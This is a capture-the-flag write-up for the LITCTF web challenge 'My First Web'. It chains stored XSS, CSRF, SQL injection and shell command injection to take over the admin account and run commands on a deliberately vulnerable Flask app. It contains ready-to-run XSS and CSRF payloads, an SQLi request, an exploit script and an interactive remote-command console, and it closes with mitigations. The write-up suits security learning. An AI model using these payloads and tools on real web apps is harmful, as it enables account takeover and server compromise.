My First Web

Flag: LITCTF{us3rn4m3_1nj3c710n_7f62be7ddc0d597f}

🎯 Goal

Exploit a deliberately vulnerable Flask app to gain admin, achieve RCE via a chained bug, and retrieve the flag from the server filesystem.


🧩 Challenge Summary

Given files

  • app.py — Flask app
  • schema.sql — SQLite schema
  • init_db.py — resets DB, seeds admin
  • Note: python3 init_db.py admin is run before app starts
  • Note: “Admin frequently checks the website”
  • Note: “Flag is not in flag.txt.”

Key routes

  • /signup, /login
  • /contact — creates a comment
  • /admin — admin panel, lists all comments
  • /updatePassword (POST) — admin-only, SQL injection
  • /resetDB (POST) — admin-only, calls subprocess.run(..., shell=True) with user-controlled usernamecommand injection

🕳️ Vulnerabilities

  1. SQL Injection (admin-only)
# /updatePassword
cur.execute(f"UPDATE users SET password = '{newPassword}' WHERE username = '{session.get('username')}'")

Unparameterized string formatting → SQLi on newPassword.

  1. No CSRF protection

    All POST routes lack CSRF tokens / origin checks.

  1. Command Injection (admin-only)
# /resetDB
subprocess.run(f"python init_db.py {session.get('username')}", shell=True)

With shell=True, if we can control session['username'], we can execute arbitrary commands.

  1. Stored XSS (probable / template-dependent)

    Admin panel renders all comments; our payload executed when admin visited.


🗺️ Exploitation Plan

  1. Become admin without guessing creds:

    Post a stored XSS comment that auto-submits a same-origin POST to /updatePassword, setting the admin password to a known value.

  1. Log in as admin.
  1. Turn /resetDB into RCE:

    Use SQLi in /updatePassword to change the admin username to a crafted value starting with ; so that subprocess.run("python init_db.py <username>", shell=True) executes our injected python -c "..." instead of resetting the DB.

  1. Exfil command output:

    Our injected Python stores command output into the comments table (username loot), which we then read on /admin.

  1. Read the flag.

✅ Step-by-Step (what we did)

1) Create user & log in

  • POST /signup → create any account
  • POST /login → log in as that user

2) Plant stored XSS to force admin to change their own password

Comment payload (auto POSTs from admin’s origin/session when they view):

<script>
fetch('/updatePassword', {
  method:'POST',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'newPassword=admin'
});
</script>
After the admin bot visited the site, we successfully logged in as:

username: admin / password: admin

3) Log in as admin & open /admin

We confirmed access to the admin panel (shows all comments plus admin controls).

4) Achieve RCE via /resetDB

Problem: /resetDB would normally reset the DB first (and break our session chain).

Trick: Use SQLi in /updatePassword to change the admin username to:

; python3 -c "<our python>";#

This makes the shell execute:

python init_db.py ; python3 -c "<code>";#
  • The first command has no argument, so init_db.py does nothing useful
  • Our python3 -c "<code>" executes safely
  • We remain logged in and can still read /admin

5) Exfil command output via DB comments

Our injected Python runs the OS command and inserts output into comments (username='loot', content='<output>'). We then refresh /admin and read the latest loot entry.

6) Tooling

We used two small helpers:

  • exploit.py — one-shot “become admin” (plants XSS → waits → logs in)
  • rce_console.py — interactive RCE console (sets crafted username via SQLi, triggers /resetDB, parses output from /admin)

Demo session:

rce> ls
__pycache__
admin_bot.py
admin_bot2.py
app.py
database.db
entrypoint.sh
error.log
flag-9f8df47e-782d-4eec-be9a-1f80df3768e3.txt
...

rce> cat flag-9f8df47e-782d-4eec-be9a-1f80df3768e3.txt
LITCTF{us3rn4m3_1nj3c710n_7f62be7ddc0d597f}

🧪 Useful PoCs

(A) CSRF page (fallback if no XSS)

<form action="http://HOST:PORT/updatePassword" method="POST">
  <input type="hidden" name="newPassword" value="admin">
</form>
<script>document.forms[0].submit()</script>

(B) SQLi to set malicious username

Request (while logged in as admin):

POST /updatePassword
Content-Type: application/x-www-form-urlencoded

newPassword=pw', username='; python3 -c "import base64,os,sqlite3;c=sqlite3.connect(\"database.db\");out=os.popen(base64.b64decode(\"<B64(cmd)>\").decode()).read();c.execute(\"INSERT INTO comments (username,content) VALUES (?,?)\",(\"loot\",out));c.commit()";--

Then POST /resetDB to execute the payload and GET /admin to read loot.


🧰 Scripts (compact versions)

exploit.py — get admin via stored XSS

#!/usr/bin/env python3
import argparse, time, uuid, requests
from urllib.parse import urljoin
def B(u): return (u if u.startswith(("http://","https://")) else "http://"+u).rstrip("/")
def signup_login(s, base, u, p, e):
    s.post(urljoin(base,"/signup"), data={"email":e,"name":u,"password":p,"confirm":p})
    r = s.post(urljoin(base,"/login"), data={"name":u,"password":p})
    assert "invalid" not in r.text.lower()
def plant_xss(s, base, newpass):
    payload = ("<script>fetch('/updatePassword',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},"
               f"body:'newPassword='+encodeURIComponent('{newpass}')})</script>")
    s.post(urljoin(base,"/contact"), data={"comment":payload})
def try_admin(base, p):
    s = requests.Session()
    r = s.post(urljoin(base,"/login"), data={"name":"admin","password":p})
    if "invalid" in r.text.lower(): return None
    a = s.get(urljoin(base,"/admin"))
    return s if a.status_code==200 else None
if __name__=="__main__":
    ap=argparse.ArgumentParser(); ap.add_argument("target"); ap.add_argument("--newpass",default="admin"); a=ap.parse_args()
    base=B(a.target); s=requests.Session()
    u= "user_"+uuid.uuid4().hex[:8]; p="pass_"+u; e=u+"@ex.com"
    signup_login(s, base, u, p, e); plant_xss(s, base, a.newpass)
    for _ in range(60):
        if try_admin(base, a.newpass): print("[+] admin ready"); break
        time.sleep(2)

rce_console.py — interactive RCE via /resetDB

#!/usr/bin/env python3
import argparse, base64, re, requests, time
from urllib.parse import urljoin

def B(u): return (u if u.startswith(("http://","https://")) else "http://"+u).rstrip("/")
def login(s,b,u,p):
    r=s.post(urljoin(b,"/login"),data={"name":u,"password":p},allow_redirects=True)
    if "invalid" in r.text.lower(): raise SystemExit("login failed")
def logout(s,b): s.get(urljoin(b,"/logout"))
def sqli_set_user(s,b,new_user,new_pw="pw"):
    if "'" in new_user or "'" in new_pw: raise ValueError("no single quotes")
    payload=f"{new_pw}', username='{new_user}';-- "
    s.post(urljoin(b,"/updatePassword"),data={"newPassword":payload})
def reset(s,b): s.post(urljoin(b,"/resetDB"),data={})
def html(b,s): return s.get(urljoin(b,"/admin")).text
def loot(t):
    m=list(re.finditer(r"<h2>\s*loot\s*</h2>\s*<p>(.*?)</p>",t,re.S|re.I))
    return "" if not m else re.sub("<[^>]+>","",m[-1].group(1)).strip()
def esc(s): return s.replace("\\","\\\\").replace('"','\\"')
def inject_user(cmd, py="python3"):
    b64=base64.b64encode((cmd+" 2>&1").encode()).decode()
    pycode=("import base64,os,sqlite3;c=sqlite3.connect(\"database.db\");"
            f"out=os.popen(base64.b64decode(\"{b64}\").decode()).read();"
            "c.execute(\"INSERT INTO comments (username,content) VALUES (?,?)\",(\"loot\",out));c.commit()")
    return f"; {py} -c \"{esc(pycode)}\";#"

if __name__=="__main__":
    ap=argparse.ArgumentParser(); ap.add_argument("target"); ap.add_argument("--admin-user",default="admin"); ap.add_argument("--admin-pass",default="admin"); ap.add_argument("--pyexe",default="python3"); ap.add_argument("--delay",type=float,default=1.0); a=ap.parse_args()
    base=B(a.target); s=requests.Session(); login(s,base,a.admin_user,a.admin_pass)
    print("[*] RCE ready. Try: ls, id, cat /flag")
    while True:
        try:
            cmd=input("rce> ").strip()
            if not cmd: continue
            if cmd in ("quit","exit"): break
            user=inject_user(cmd,a.pyexe)
            sqli_set_user(s,base,user,"pw"); logout(s,base); login(s,base,user,"pw")
            reset(s,base); time.sleep(a.delay)
            out=loot(html(base,s)); print(out if out else "[!] no output; increase --delay")
        except KeyboardInterrupt: break

🏁 Outcome

  • Admin takeover via stored XSS → CSRF to /updatePassword
  • RCE via SQLi (modify username) → /resetDB with shell=True
  • Flag read from filesystem:
    LITCTF{us3rn4m3_1nj3c710n_7f62be7ddc0d597f}

🛡️ Mitigations (what should be fixed)

  • Use parameterized queries everywhere (? placeholders with tuples).
  • Add CSRF protection (CSRF tokens; check Origin/Referer; SameSite cookies).
  • Never pass untrusted data to the shell. Use subprocess.run([...], shell=False) with an argument list.
  • Hash passwords (e.g., werkzeug.security.generate_password_hash).
  • Escape untrusted content in templates (default Jinja2 autoescape; avoid |safe for user input).
  • Regenerate sessions on privilege change; avoid storing trust in user-mutable fields.

🗒️ Notes / Gotchas We Hit

  • If /resetDB actually resets the DB first, your admin session dies and you won’t see output. Starting the injected username with ; prevents init_db.py from running with a valid argument.
  • Our first parser pulled the first loot comment; we switched to the last match.
  • Avoid single quotes in the injected username (SQLi string context). We used base64 + only-double-quotes in python -c.